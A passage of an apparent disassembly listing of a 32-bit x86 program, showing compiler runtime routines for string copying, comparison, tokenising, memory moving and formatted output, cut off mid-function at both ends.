sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 2670881h nop test eax, eax jnz short loc_41BDF2 call near ptr 2680000h nop jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB2C4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB2C4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A290 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] 